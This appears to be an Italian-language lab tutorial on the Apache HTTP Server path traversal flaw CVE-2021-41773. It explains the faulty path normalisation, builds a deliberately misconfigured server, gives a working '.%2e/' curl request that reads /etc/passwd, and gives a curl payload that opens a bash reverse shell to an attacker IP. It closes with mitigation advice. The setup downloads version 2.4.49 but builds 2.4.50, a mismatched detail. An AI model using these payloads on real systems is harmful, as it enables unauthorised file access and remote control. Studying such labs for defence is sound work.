
La documentazione del POC e della configurazione del laboratorio per CVE 2021 41773
La documentazione del POC e della configurazione del laboratorio per CVE 2021 41773
CVE-2021-41773 è una vulnerabilità di path traversal in Apache HTTP Server 2.4.49 e 2.4.50. Questa vulnerabilità sfrutta un aggiornamento nel codice di normalizzazione dei percorsi introdotto in questa versione.
The Path Normalisation Function:
Normally Path normalisation will filter out the url path to a standard
format to prevent adversaries from malicious actions.
Apache HTTP Server 2.4.49 ha introdotto una modifica alla funzione ap_normalize_path che è diventata la causa principale di questa vulnerabilità.
Se diamo un'occhiata al codice sorgente, possiamo notare che la funzione scorre ogni carattere nell'URL fornito e applica la sanificazione.
Ma la vulnerabilità è presente nella sezione del codice in cui viene eseguito il decoding dell'URL. La funzione è semplice: decodifica semplicemente il carattere codificato nell'URL.
if ((flags & AP_NORMALIZE_DECODE_UNRESERVED) &&
path[l] == '%' &&
apr_isxdigit(path[l + 1]) &&
apr_isxdigit(path[l + 2]))
{
// Decode the percent-encoded character
const char c = x2c(&path[l + 1]);
// Check if the decoded character is alphanumeric or one of the allowed symbols
if (apr_isalnum(c) || (c && strchr("-._~", c)))
{
// Replace the last character with the decoded one and update position
l += 2;
path[l] = c;
}
}
Il problema qui è che gestisce solo il primo punto . nell'URL, il che significa che se invece di ../ forniamo .%2e/, il server decodifica il %2e come un punto, che si traduce in ../
Caso normale:
URL Input: http://target/cgi-bin/../../etc/passwd
Path Normalization Steps:
1. Detect ../ -> Attempt to traverse up a directory.
2. Normalize function -> will remove or block ../
Caso vulnerabile:
URL Input: http://target/cgi-bin/.%2e/.%2e/.%2e/etc/passwd
Path Normalization Steps:
1. Decodes %2e to . -> The Result is ./.././../etc/passwd
2. Partial Normalization -> Does not recognize .%2e/ as equivalent to ../
3. Path Traversal is not fully blocked.
Resulting Path: /etc/passwd (Access Granted)
Questo problema diventa pericoloso e sfruttabile quando viene combinato con le direttive del server. Queste agiscono come una regola per il comportamento del server Apache.
La configurazione Require all granted consente esplicitamente a tutte le richieste di accedere alle risorse all'interno della DocumentRoot.
<Directory />
AllowOverride None
Require all granted # Deliberately vulnerable setting, here it was denied usually
</Directory>
Se il server è configurato con la direttiva Require all granted a livello di root, l'intero file system diventa pubblicamente accessibile.
La directory cgi-bin in Apache è per impostazione predefinita una directory alias con la direttiva Require all granted, che consente l'accesso pubblico, il che significa che chiunque può fare richieste alla directory /usr/local/apache2/cgi-bin/.
Combinando il difetto logico nella funzione ap_normalize_path, che consente il bypass del path traversal, con una direttiva Require all granted configurata erroneamente sul server, gli attaccanti possono accedere ai file del file system del server al di fuori delle directory previste.
Questa vulnerabilità può essere ulteriormente sfruttata fino all'esecuzione di codice remoto (Remote Code Execution) se mod_cgi è abilitato sul server.
Per impostazione predefinita questo modulo non è abilitato su Apache HTTPD, il che significa che la versione predefinita non è vulnerabile a RCE.
mod_cgi consente l'esecuzione di script CGI (Common Gateway Interface) sul server e la restituzione dell'output al client; viene utilizzato principalmente per fornire funzionalità dinamiche ai siti web.
Scarica la versione vulnerabile di Apache (scaricandola dall'archivio perché la versione vulnerabile non è disponibile per l'installazione diretta):
wget https://archive.apache.org/dist/httpd/httpd-2.4.49.tar.gz
installa le dipendenze:
sudo apt-get install libapr1 libapr1-dev libaprutil1 libaprutil1-dev
sudo apt-get install build-essential
Decomprimi il file vulnerabile di Apache e configuralo:
tar -xvf httpd-2.4.50.tar.gz
cd httpd-2.4.50
./configure
make
sudo make install
Dopo che termina correttamente, vai al file di configurazione di Apache:
sudo nano /usr/local/apache2/conf/httpd.conf
Aggiungi quanto segue al file di configurazione:
ServerName 127.0.1.1
Avvia i servizi Apache:
sudo /usr/local/apache2/bin/apachectl start
Vai alla directory predefinita del server web:
cd /usr/local/apache2/htdocs
nota: normalmente la directory principale per Apache è /var/www/html, qui è /usr/local/apache2/htdocs perché non abbiamo installato il server dai sorgenti; possiamo impostarla su /var/ww/html se vogliamo. Ma per ora la lascio così com'è.
Crea un sito web statico di base:
HTML:
echo "GNU nano 6.2 index.html *
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CVE-2021-41773</title>
<!-- Link to external CSS file -->
<link rel="stylesheet" href="styles.css">
</head>
<body>
<div class="noise"></div>
<div class="overlay"></div>
<div class="terminal">
<h1>Error <span class="errorcode">404</span></h1>
<p class="output">This is a replication of CVE-2021-41773</p>
<p class="output">Exploit <a href="https://nvd.nist.gov/vuln/detail/cve-2021-41773"> the vulnerability</a> or <a href="https://www.hackthebox.com/blog/cve-2021-41773-explained">Learn more about it </a> </p>
<p class="output">Good luck.</p>
</div>
</body>
</html>" | sudo tee index.html
CSS:
echo "@import 'https://fonts.googleapis.com/css?family=Inconsolata';
html {
min-height: 100%;
}
body {
box-sizing: border-box;
height: 100%;
background-color: #000000;
background-image: radial-gradient(#11581E, #041607), url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
background-repeat: no-repeat;
background-size: cover;
font-family: 'Inconsolata', Helvetica, sans-serif;
font-size: 1.5rem;
color: rgba(128, 255, 128, 0.8);
text-shadow:
0 0 1ex rgba(51, 255, 51, 1),
0 0 2px rgba(255, 255, 255, 0.8);
}
.noise {
pointer-events: none;
position: absolute;
width: 100%;
height: 100%;
background-image: url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
background-repeat: no-repeat;
background-size: cover;
z-index: -1;
opacity: .02;
}
.overlay {
pointer-events: none;
position: absolute;
width: 100%;
height: 100%;
background:
repeating-linear-gradient(
180deg,
rgba(0, 0, 0, 0) 0,
rgba(0, 0, 0, 0.3) 50%,
rgba(0, 0, 0, 0) 100%);
background-size: auto 4px;
z-index: 1;
}
.overlay::before {
content: "";
pointer-events: none;
position: absolute;
display: block;
top: 0;
left: 0;
right: 0;
bottom: 0;
width: 100%;
height: 100%;
background-image: linear-gradient(
0deg,
transparent 0%,
rgba(32, 128, 32, 0.2) 2%,
rgba(32, 128, 32, 0.8) 3%,
rgba(32, 128, 32, 0.2) 3%,
transparent 100%);
background-repeat: no-repeat;
animation: scan 7.5s linear 0s infinite;
}
@keyframes scan {
0% { background-position: 0 -100vh; }
35%, 100% { background-position: 0 100vh; }
}
.terminal {
box-sizing: inherit;
position: absolute;
height: 100%;
width: 1000px;
max-width: 100%;
padding: 4rem;
text-transform: uppercase;
}
.output {
color: rgba(128, 255, 128, 0.8);
text-shadow:
0 0 1px rgba(51, 255, 51, 0.4),
0 0 2px rgba(255, 255, 255, 0.8);
}
.output::before {
content: "> ";
}
/*
.input {
color: rgba(192, 255, 192, 0.8);
text-shadow:
0 0 1px rgba(51, 255, 51, 0.4),
0 0 2px rgba(255, 255, 255, 0.8);
}
.input::before {
content: "$ ";
}
*/
a {
color: #fff;
text-decoration: none;
}
a::before {
content: "[";
}
a::after {
content: "]";
}
.errorcode {
color: white;
}"| sudo tee styles.css
Modifica la configurazione di Apache per simulare la vulnerabilità:
sudo nano /usr/local/apache2/conf/httpd.conf
Apporta una modifica in questa parte del file di configurazione in modo che la vulnerabilità possa essere sfruttata:
<Directory />
AllowOverride None
Require all granted # Deliberately vulnerable setting, here it was denied usually
</Directory>
Ora avvia il server Apache:
sudo /usr/local/apache2/bin/apachectl start
Vai al sito web vulnerabile digitando
http://<vm-ip>
Il laboratorio è pronto, ora vediamo come funziona lo sfruttamento:
Questa richiesta curl invoca la vulnerabilità:
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'
in questo modo possiamo accedere al file /etc/passwd o a qualsiasi file del sistema
Ora proviamo l'iniezione di comandi e tentiamo di ottenere una reverse shell:
Sulla macchina dell'attaccante, imposta un listener netcat:
nc -lvnp 4444
Ora invia il comando Bash one-liner tramite richiesta curl alla vittima:
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|bash -i >& /dev/tcp/192.168.65.100/4444 0>&1'
Questo ci darà accesso a una shell.
Per le versioni 2.4.49 e 2.4.50, la mitigazione raccomandata è aggiornare alla versione più recente.
Se l'aggiornamento non è un'opzione, è consigliabile controllare le directory per limitare l'accesso pubblico:
Le direttive Require all denied devono essere implementate su tutte le directory non destinate all'accesso pubblico e mai a livello della root/directory.
La directory /cgi-bin dovrebbe essere configurata con la direttiva Require all denied e non dovrebbe essere impostata come alias.